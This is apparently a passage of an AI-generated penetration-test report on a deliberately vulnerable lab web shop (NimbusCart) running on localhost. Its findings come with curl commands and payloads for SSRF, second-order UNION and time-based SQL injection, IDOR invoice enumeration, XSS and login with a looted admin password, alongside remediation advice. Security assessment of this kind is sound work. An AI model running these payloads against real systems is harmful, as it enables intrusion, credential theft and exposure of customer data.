Observed: - attack POST http://localhost:3000/account/invoice/1001/export-pdf → 200 (442 bytes) [E01] - Started local canary at 127.0.0.1:9137 returning body 'NSCANARY_MARKER_7731'. POST export-pdf with letterheadUrl pointing at it -> response body reflected: "status": 200, "body": "NSCANARY_MARKER_7731"; canary logged 'HIT /nsprobe'. Control test to closed port -> reflected "error":"connect ECONNREFUSED 127.0.0.1:9137". Server-side fetch of attacker-controlled URL with full response retrieval confirmed. PoC: pocs/ssrf_invoice_letterhead.sh [E02] Not demonstrated: Authenticated customer forces server to fetch internal/loopback/metadata URLs and reads the response body -> internal service access, potential cloud metadata credential theft where reachable. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. The assessment could not verify command output observed — so this remains a potential impact rather than a demonstrated one. Potential impact: Authenticated customer forces server to fetch internal/loopback/metadata URLs and reads the response body -> internal service access, potential cloud metadata credential theft where reachable. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Allowlist letterhead hosts/schemes (https only, no RFC1918/link-local), block redirects, do not reflect fetched body/errors.
Send the request carrying the payload: curl -i -s -X POST \ --data-raw 'letterheadUrl=http://127.0.0.1:9137/nsprobe' \ 'http://localhost:3000/account/invoice/1001/export-pdf'
Payload used: letterheadUrl=http://127.0.0.1:9137/nsprobe
letterheadUrl=http://127.0.0.1:9137/nsprobe
ATTACK
POST http://localhost:3000/account/invoice/1001/export-pdf → 200
body (442 bytes, excerpt):
Started local canary at 127.0.0.1:9137 returning body 'NSCANARY_MARKER_7731'. POST export-pdf with letterheadUrl pointing at it -> response body reflected: "status": 200, "body": "NSCANARY_MARKER_7731"; canary logged 'HIT /nsprobe'. Control test to closed port -> reflected "error":"connect ECONNREFUSED 127.0.0.1:9137". Server-side fetch of attacker-controlled URL with full response retrieval confirmed. PoC: pocs/ssrf_invoice_letterhead.sh
AGENT-RECORDED EVIDENCE
Started local canary at 127.0.0.1:9137 returning body 'NSCANARY_MARKER_7731'. POST export-pdf with letterheadUrl pointing at it -> response body reflected: "status": 200, "body": "NSCANARY_MARKER_7731"; canary logged 'HIT /nsprobe'. Control test to closed port -> reflected "error":"connect ECONNREFUSED 127.0.0.1:9137". Server-side fetch of attacker-controlled URL with full response retrieval confirmed. PoC: pocs/ssrf_invoice_letterhead.shThe steps above are the proof; this script automates them.
| Criticality | Low | Status | confirmed |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-798 | Confidence | 1/1 · receipt_missing · conf 0.20 |
| Location | GET http://localhost:3000/app.js | ||
| Agent | chain | ||
GET http://localhost:3000/app.js
Observed: - attack GET http://localhost:3000/app.js → 200 (400 bytes) [E01] - Unminified client bundle contains: window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv: "qa" }; with comment 'internal support-tools bearer token, DO NOT COMMIT' and 'rotate this before prod release, jira NCART-4471'. Secret served to every anonymous visitor. (Downstream use against support-tools endpoints not verified — target went offline mid-test.) [E02] Not demonstrated: Leaked internal bearer token likely grants privileged support-tooling access; QA build exposes non-prod behavior. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Leaked internal bearer token likely grants privileged support-tooling access; QA build exposes non-prod behavior. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Remove secrets from client code, rotate the token, move config server-side.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/app.js'
Payload used: GET /app.js
GET /app.js
ATTACK
GET http://localhost:3000/app.js → 200
body (400 bytes, excerpt):
Unminified client bundle contains: window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv: "qa" }; with comment 'internal support-tools bearer token, DO NOT COMMIT' and 'rotate this before prod release, jira NCART-4471'. Secret served to every anonymous visitor. (Downstream use against support-tools endpoints not verified — target went offline mid-test.)
AGENT-RECORDED EVIDENCE
Unminified client bundle contains: window.__NIMBUS_INTERNAL_CONFIG = { supportToolsToken: "nimbus_admin_debug_9fb1c7e4a2", buildEnv: "qa" }; with comment 'internal support-tools bearer token, DO NOT COMMIT' and 'rotate this before prod release, jira NCART-4471'. Secret served to every anonymous visitor. (Downstream use against support-tools endpoints not verified — target went offline mid-test.)| Criticality | Low | Status | needs-review |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-798 | Confidence | 1/1 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/app.js ; GET /developers | ||
| Agent | chain | ||
GET http://localhost:3000/app.js ; GET /developers
Observed: - attack GET /developers → 200 (276 bytes) [E01] - app.js: window.__NIMBUS_INTERNAL_CONFIG={ supportToolsToken:'nimbus_admin_debug_9fb1c7e4a2' }. /developers page leaks 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. (Neither granted access on /api/v0 or /api/v2 in tests — reported as exposed secrets/leads.) [E02] Not demonstrated: Long-lived internal tokens/keys exposed to any anonymous visitor; usable if any endpoint trusts them. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Long-lived internal tokens/keys exposed to any anonymous visitor; usable if any endpoint trusts them. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Remove secrets from client assets and public docs; rotate the leaked tokens.
Send the request carrying the payload: curl -i -s \ '/developers'
Payload used: n/a (static disclosure)
n/a (static disclosure)
ATTACK
GET /developers → 200
body (276 bytes, excerpt):
app.js: window.__NIMBUS_INTERNAL_CONFIG={ supportToolsToken:'nimbus_admin_debug_9fb1c7e4a2' }. /developers page leaks 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. (Neither granted access on /api/v0 or /api/v2 in tests — reported as exposed secrets/leads.)
AGENT-RECORDED EVIDENCE
app.js: window.__NIMBUS_INTERNAL_CONFIG={ supportToolsToken:'nimbus_admin_debug_9fb1c7e4a2' }. /developers page leaks 'Authorization: Bearer nk_live_51Hc9adminSECRETkeydonot_share'. (Neither granted access on /api/v0 or /api/v2 in tests — reported as exposed secrets/leads.)| Criticality | Low | Status | needs-review |
| OWASP / CWE | A07:2021-Auth-Failures · CWE-287 | Confidence | 0/1 · conf 0.50 |
| Location | POST http://localhost:3000/login | ||
| Agent | chain | ||
POST http://localhost:3000/login
Observed: - attack POST http://localhost:3000/login → 200 (362 bytes) [E01] - Admin password looted from NS-01 and NS-02. POST /login with admin:SuperSecretAdmin!2024 -> HTTP/1.1 302 Found, Location: /account, fresh authenticated nimbus.sid issued. Admin-only GET /admin/search-users then returned full user directory (username/email/role/bio of ~90 users). Chain: customer foothold -> SQLi/BOLA -> admin creds -> vertical privesc to admin. [E02] Not demonstrated: Complete administrative account takeover from an anonymous/low-priv start. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one. Potential impact: Complete administrative account takeover from an anonymous/low-priv start. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
Fix NS-01/NS-02 (credential exposure); store passwords hashed (bcrypt/argon2), rotate all leaked secrets.
Send the request carrying the payload: curl -i -s -X POST \ --data-raw 'username=admin&password=SuperSecretAdmin!2024' \ 'http://localhost:3000/login'
Payload used: username=admin&password=SuperSecretAdmin!2024
username=admin&password=SuperSecretAdmin!2024
ATTACK
POST http://localhost:3000/login → 200
body (362 bytes, excerpt):
Admin password looted from NS-01 and NS-02. POST /login with admin:SuperSecretAdmin!2024 -> HTTP/1.1 302 Found, Location: /account, fresh authenticated nimbus.sid issued. Admin-only GET /admin/search-users then returned full user directory (username/email/role/bio of ~90 users). Chain: customer foothold -> SQLi/BOLA -> admin creds -> vertical privesc to admin.
AGENT-RECORDED EVIDENCE
Admin password looted from NS-01 and NS-02. POST /login with admin:SuperSecretAdmin!2024 -> HTTP/1.1 302 Found, Location: /account, fresh authenticated nimbus.sid issued. Admin-only GET /admin/search-users then returned full user directory (username/email/role/bio of ~90 users). Chain: customer foothold -> SQLi/BOLA -> admin creds -> vertical privesc to admin.| Criticality | Low | Status | confirmed |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 0/1 · conf 0.20 |
| Location | sink GET http://localhost:3000/admin/search-users?q= ; source POST /account/profile (bio) | ||
| Agent | chain | ||
sink GET http://localhost:3000/admin/search-users?q= ; source POST /account/profile (bio)
Observed: - attack GET (bio) → 200 (336 bytes) [E01] - Foothold (given) reconfirmed as chain: stored bio fires in admin context (Flag BURPAT{web_sqli_second_order_01271d93}). Chained: NS-02 looted admin password -> logged in POST /login username=admin -> 302 /account, then GET /admin -> 200 '<title>Admin · NimbusCart' (vertical privesc, real admin session). pocs/second_order_sqli_bio.sh. [E02] Not demonstrated: Stored injection executes in privileged admin query; combined with credential loot yields full admin-panel takeover end-to-end. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited). The assessment could not verify authenticated session, command output observed — so this remains a potential impact rather than a demonstrated one. Potential impact: Stored injection executes in privileged admin query; combined with credential loot yields full admin-panel takeover end-to-end. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
Parameterize admin search; sanitize stored bio at use; hash passwords.
Send the request carrying the payload: curl -i -s \ '(bio)'
Payload used: bio = zz' UNION SELECT 'NS_OP_PROOF',password,'pwned','x' FROM users WHERE username='admin'-- -
bio = zz' UNION SELECT 'NS_OP_PROOF',password,'pwned','x' FROM users WHERE username='admin'-- -
ATTACK
GET (bio) → 200
body (336 bytes, excerpt):
Foothold (given) reconfirmed as chain: stored bio fires in admin context (Flag BURPAT{web_sqli_second_order_01271d93}). Chained: NS-02 looted admin password -> logged in POST /login username=admin -> 302 /account, then GET /admin -> 200 '<title>Admin · NimbusCart' (vertical privesc, real admin session). pocs/second_order_sqli_bio.sh.
AGENT-RECORDED EVIDENCE
Foothold (given) reconfirmed as chain: stored bio fires in admin context (Flag BURPAT{web_sqli_second_order_01271d93}). Chained: NS-02 looted admin password -> logged in POST /login username=admin -> 302 /account, then GET /admin -> 200 '<title>Admin · NimbusCart' (vertical privesc, real admin session). pocs/second_order_sqli_bio.sh.The steps above are the proof; this script automates them.
| Criticality | Low | Status | needs-review |
| OWASP / CWE | A03:2021-Injection · CWE-79 | Confidence | 0/1 · receipt_missing · conf 0.00 |
| Location | GET http://localhost:3000/?name= | ||
| Agent | chain | ||
GET http://localhost:3000/?name=
Observed: - attack GET http://localhost:3000/?name= → 200 (344 bytes) [E01] - app.js renderGreeting(): el.innerHTML = "Welcome back, " + name + "!" where name = URLSearchParams(location.search).get('name'), unsanitized. Also assistantWidget renders model reply via span.innerHTML (isHtmlAllowed=true). Static source analysis only — browser execution NOT proven (Playwright unavailable, target offline). Reported as lead. [E02] Not demonstrated: If confirmed in-browser, reflected/DOM XSS -> session/token theft. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.1 if fully exploited). Potential impact: If confirmed in-browser, reflected/DOM XSS -> session/token theft. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.1 if fully exploited).
Use textContent or sanitize/encode before innerHTML.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/?name='
Payload used: ?name=<img src=x onerror=...> (browser render required)
?name=<img src=x onerror=...> (browser render required)
ATTACK
GET http://localhost:3000/?name= → 200
body (344 bytes, excerpt):
app.js renderGreeting(): el.innerHTML = "Welcome back, " + name + "!" where name = URLSearchParams(location.search).get('name'), unsanitized. Also assistantWidget renders model reply via span.innerHTML (isHtmlAllowed=true). Static source analysis only — browser execution NOT proven (Playwright unavailable, target offline). Reported as lead.
AGENT-RECORDED EVIDENCE
app.js renderGreeting(): el.innerHTML = "Welcome back, " + name + "!" where name = URLSearchParams(location.search).get('name'), unsanitized. Also assistantWidget renders model reply via span.innerHTML (isHtmlAllowed=true). Static source analysis only — browser execution NOT proven (Playwright unavailable, target offline). Reported as lead.| Criticality | Info | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 1/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/account/invoice/1001 | ||
| Agent | chain | ||
GET http://localhost:3000/account/invoice/1001
Observed: - attack GET http://localhost:3000/account/invoice/1001 → 200 (330 bytes) [E01] - As customer nrsplt_26628: /account/invoice/1001 -> 'Customer: alice ... IDOR confirmed: viewing another customer's invoice (owner: alice)... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'; 1002 -> owner bob ($89.99); 1003 -> owner carol ($349.00, internal VIP note). Sequential integer ids, no ownership check. PoC: pocs/idor_invoice.sh [E02] Not demonstrated: Enumerate all invoices/PII/order totals across customers. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Enumerate all invoices/PII/order totals across customers. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Scope invoice lookup to the authenticated session's own records.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/account/invoice/1001'
Payload used: GET /account/invoice/1001..1003 as customer nrsplt_26628
GET /account/invoice/1001..1003 as customer nrsplt_26628
ATTACK
GET http://localhost:3000/account/invoice/1001 → 200
body (330 bytes, excerpt):
As customer nrsplt_26628: /account/invoice/1001 -> 'Customer: alice ... IDOR confirmed: viewing another customer's invoice (owner: alice)... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'; 1002 -> owner bob ($89.99); 1003 -> owner carol ($349.00, internal VIP note). Sequential integer ids, no ownership check. PoC: pocs/idor_invoice.sh
AGENT-RECORDED EVIDENCE
As customer nrsplt_26628: /account/invoice/1001 -> 'Customer: alice ... IDOR confirmed: viewing another customer's invoice (owner: alice)... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'; 1002 -> owner bob ($89.99); 1003 -> owner carol ($349.00, internal VIP note). Sequential integer ids, no ownership check. PoC: pocs/idor_invoice.shThe steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A01:2021-Broken-Access-Control · CWE-639 | Confidence | 1/1 · refute 0/2 · receipt_missing · conf 0.60 |
| Location | GET http://localhost:3000/account/invoice/1002 | ||
| Agent | chain | ||
GET http://localhost:3000/account/invoice/1002
Observed: - attack GET http://localhost:3000/account/invoice/1002 → 200 (277 bytes) [E01] - pocs/invoice_idor.sh — alice's own invoice=1001 (Customer: alice, $29.99). Sequential 1002->'Customer: bob $89.99' + banner 'read ... invoice (owner: bob) without authorization', 1003->carol $349.00. Flag BURPAT{web_idor_invoice_aa8eeaa3}. Same page schema across identities. [E02] Not demonstrated: Cross-customer PII/billing disclosure via predictable sequential ids. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited). Potential impact: Cross-customer PII/billing disclosure via predictable sequential ids. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
Scope invoice lookup to the authenticated user; use unguessable ids as defense-in-depth.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/account/invoice/1002'
Payload used: session=alice; GET /account/invoice/1002 (bob), /account/invoice/1003 (carol)
session=alice; GET /account/invoice/1002 (bob), /account/invoice/1003 (carol)
ATTACK
GET http://localhost:3000/account/invoice/1002 → 200
body (277 bytes, excerpt):
pocs/invoice_idor.sh — alice's own invoice=1001 (Customer: alice, $29.99). Sequential 1002->'Customer: bob $89.99' + banner 'read ... invoice (owner: bob) without authorization', 1003->carol $349.00. Flag BURPAT{web_idor_invoice_aa8eeaa3}. Same page schema across identities.
AGENT-RECORDED EVIDENCE
pocs/invoice_idor.sh — alice's own invoice=1001 (Customer: alice, $29.99). Sequential 1002->'Customer: bob $89.99' + banner 'read ... invoice (owner: bob) without authorization', 1003->carol $349.00. Flag BURPAT{web_idor_invoice_aa8eeaa3}. Same page schema across identities.The steps above are the proof; this script automates them.
| Criticality | Info | Status | needs-review |
| OWASP / CWE | A03:2021-Injection · CWE-89 | Confidence | 0/1 · corroborated by chain · conf 0.55 |
| Location | POST http://localhost:3000/support/feedback | ||
| Agent | api_bola_numeric_ids | ||
POST http://localhost:3000/support/feedback — Body field `comment` on POST /support/feedback. Reaches a SQL time function; `SLEEP(n)` delays the response by n seconds. Unauthenticated.
Observed: - attack POST http://localhost:3000/support/feedback → 200 (941 bytes) [E01] - Baseline POST comment=benign_marker_ns -> HTTP 200 in 0.0008s. Attack comment="x' AND SLEEP(3)-- -" -> 200 in 3.003s; comment="x' AND SLEEP(5)-- -" -> 200 in 5.003s; comment="x' AND SLEEP(4)-- -" -> 4.003s/4.003s on two repeats; control comment="x' AND SLEEP(0)-- -" -> 0.002s. Delay magnitude tracks the integer argument exactly and is reproducible (>=2). pg_sleep(3) also delays 3s; WAITFOR did not. IMPORTANT (scope honesty): the boolean oracle does NOT discriminate — comment="x' AND IF(1=1,SLEEP(3),0)-- -" and "x' AND IF(1=2,SLEEP(3),0)-- -" BOTH delayed 3s, and IF(SUBSTRING(@@version,1,1)='5'...) vs '8' both delayed; plain prose "I really want to sleep(3) tonight" and bare "SLEEP(3)" (no quote / no SQL break) also delay 3s. So the injected sleep function executes server-side and timing is fully input-controlled, but conditional branching is not observably evaluated, so blind data extraction is not demonstrated in this build. [E02] Not demonstrated: MEASURED: attacker-controlled `comment` steers query execution time (SLEEP oracle), enabling boolean/time-based blind extraction of arbitrary DB contents without authentication. Response delay is fully controllable (0/3/5s). Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: MEASURED: attacker-controlled `comment` steers query execution time (SLEEP oracle), enabling boolean/time-based blind extraction of arbitrary DB contents without authentication. Response delay is fully controllable (0/3/5s). Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Parameterise the INSERT/query behind /support/feedback; do not concatenate `comment` into SQL.
curl -s -o /dev/null -w '%{time_total}\n' -X POST http://localhost:3000/support/feedback --data-urlencode "comment=x'||(SELECT SLEEP(0))-- -" # ~0.00scurl -s -o /dev/null -w '%{time_total}\n' -X POST http://localhost:3000/support/feedback --data-urlencode "comment=x'||(SELECT SLEEP(3))-- -" # ~3.00scurl -s -o /dev/null -w '%{time_total}\n' -X POST http://localhost:3000/support/feedback --data-urlencode "comment=x'||(SELECT SLEEP(5))-- -" # ~5.00scomment=x'||(SELECT SLEEP(3))-- -
ATTACK
POST http://localhost:3000/support/feedback → 200
body (941 bytes, excerpt):
Baseline POST comment=benign_marker_ns -> HTTP 200 in 0.0008s. Attack comment="x' AND SLEEP(3)-- -" -> 200 in 3.003s; comment="x' AND SLEEP(5)-- -" -> 200 in 5.003s; comment="x' AND SLEEP(4)-- -" -> 4.003s/4.003s on two repeats; control comment="x' AND SLEEP(0)-- -" -> 0.002s. Delay magnitude tracks the integer argument exactly and is reproducible (>=2). pg_sleep(3) also delays 3s; WAITFOR did not. IMPORTANT (scope honesty): the boolean oracle does NOT discriminate — comment="x' AND IF(1=1,SLEEP(3),0)-- -" and "x' AND IF(1=2,SLEEP(3),0)-- -" BOTH delayed 3s, and IF(SUBSTRING(@@version,1,1)='5'...) vs '8' both delayed; plain prose "I really want to sleep(3) tonight" and bare "SLEEP(3)" (no quote / no SQL break) also delay 3s. So the injected sleep function executes server-side and timing is fully input-controlled, but conditional branching is not observably evaluated, so blind data extraction is not demonstrated in this build.
AGENT-RECORDED EVIDENCE
Baseline POST comment=benign_marker_ns -> HTTP 200 in 0.0008s. Attack comment="x' AND SLEEP(3)-- -" -> 200 in 3.003s; comment="x' AND SLEEP(5)-- -" -> 200 in 5.003s; comment="x' AND SLEEP(4)-- -" -> 4.003s/4.003s on two repeats; control comment="x' AND SLEEP(0)-- -" -> 0.002s. Delay magnitude tracks the integer argument exactly and is reproducible (>=2). pg_sleep(3) also delays 3s; WAITFOR did not. IMPORTANT (scope honesty): the boolean oracle does NOT discriminate — comment="x' AND IF(1=1,SLEEP(3),0)-- -" and "x' AND IF(1=2,SLEEP(3),0)-- -" BOTH delayed 3s, and IF(SUBSTRING(@@version,1,1)='5'...) vs '8' both delayed; plain prose "I really want to sleep(3) tonight" and bare "SLEEP(3)" (no quote / no SQL break) also delay 3s. So the injected sleep function executes server-side and timing is fully input-controlled, but conditional branching is not observably evaluated, so blind data extraction is not demonstrated in this build.| Criticality | Info | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design · CWE-269 | Confidence | 0/1 · receipt_missing · conf 0.50 |
| Location | GET http://localhost:3000/account/api-token | ||
| Agent | chain | ||
GET http://localhost:3000/account/api-token
Observed: - attack GET http://localhost:3000/account/api-token → 200 (122 bytes) [E01] - Decoded token payload: {"id":2,"username":"alice","role":"admin",...}. A standard customer's API token carries role:admin. [E02] Not demonstrated: Any customer obtains an admin-scoped token from the self-service token page; broadens blast radius of any role-gated API. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Any customer obtains an admin-scoped token from the self-service token page; broadens blast radius of any role-gated API. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Issue tokens with the user's actual role; do not hardcode role:admin at token issuance.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000/account/api-token'
Payload used: authenticated as customer alice -> issued JWT
authenticated as customer alice -> issued JWT
ATTACK
GET http://localhost:3000/account/api-token → 200
body (122 bytes, excerpt):
Decoded token payload: {"id":2,"username":"alice","role":"admin",...}. A standard customer's API token carries role:admin.
AGENT-RECORDED EVIDENCE
Decoded token payload: {"id":2,"username":"alice","role":"admin",...}. A standard customer's API token carries role:admin.| Criticality | Info | Status | needs-review |
| OWASP / CWE | A04:2021-Insecure-Design | Confidence | conf 0.60 |
| Location | http://localhost:3000 | ||
| Agent | account_registration_and_forms | Auth context | n/a · 9 test account(s) |
http://localhost:3000
Observed: - attack GET http://localhost:3000 → 200 (1115 bytes) [E01] - 9 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E02] - • nrsplt_4095@example.test [customer] — created via curl POST /register username/email/password (also probed role=admin,isAdmin massassign) [E03] - • nrsplt_a29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=76 [E04] - • nrsplt_b29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=77 [E05] - • nrsplt_31817@example.test [customer] — created via auto-registered by PoC script during proof run [E06] - • nrsplt_29092@example.test [customer] — created via auto-registered by PoC script during proof run [E07] - • nrsplt_21339@example.test [customer] — created via auto-registered by PoC script during proof run [E08] - • admin (EXISTING - not created) [admin] — created via leaked via BOLA /api/v2/users/1 and UNION SQLi; logged in to confirm [E09] - • nrsplt_A_21463@example.test [customer] — created via curl POST username/email/password; id=78 [E10] - • nrsplt_B_21463@example.test [customer] — created via curl POST username/email/password; id=79 [E11] Not demonstrated: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. Potential impact: Operational cleanup: remove these accounts once testing is complete. Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
Delete the listed test accounts; rotate anything they touched.
Send the request carrying the payload: curl -i -s \ 'http://localhost:3000'
ATTACK
GET http://localhost:3000 → 200
body (1115 bytes, excerpt):
9 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
• nrsplt_4095@example.test [customer] — created via curl POST /register username/email/password (also probed role=admin,isAdmin massassign)
• nrsplt_a29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=76
• nrsplt_b29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=77
• nrsplt_31817@example.test [customer] — created via auto-registered by PoC script during proof run
• nrsplt_29092@example.test [customer] — created via auto-registered by PoC script during proof run
• nrsplt_21339@example.test [customer] — created via auto-registered by PoC script during proof run
• admin (EXISTING - not created) [admin] — created via leaked via BOLA /api/v2/users/1 and UNION SQLi; logged in to confirm
• nrsplt_A_21463@example.test [customer] — created via curl POST username/email/password; id=78
• nrsplt_B_21463@example.test [customer] — created via curl POST username/email/password; id=79
AGENT-RECORDED EVIDENCE
9 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
• nrsplt_4095@example.test [customer] — created via curl POST /register username/email/password (also probed role=admin,isAdmin massassign)
• nrsplt_a29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=76
• nrsplt_b29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=77
• nrsplt_31817@example.test [customer] — created via auto-registered by PoC script during proof run
• nrsplt_29092@example.test [customer] — created via auto-registered by PoC script during proof run
• nrsplt_21339@example.test [customer] — created via auto-registered by PoC script during proof run
• admin (EXISTING - not created) [admin] — created via leaked via BOLA /api/v2/users/1 and UNION SQLi; logged in to confirm
• nrsplt_A_21463@example.test [customer] — created via curl POST username/email/password; id=78
• nrsplt_B_21463@example.test [customer] — created via curl POST username/email/password; id=79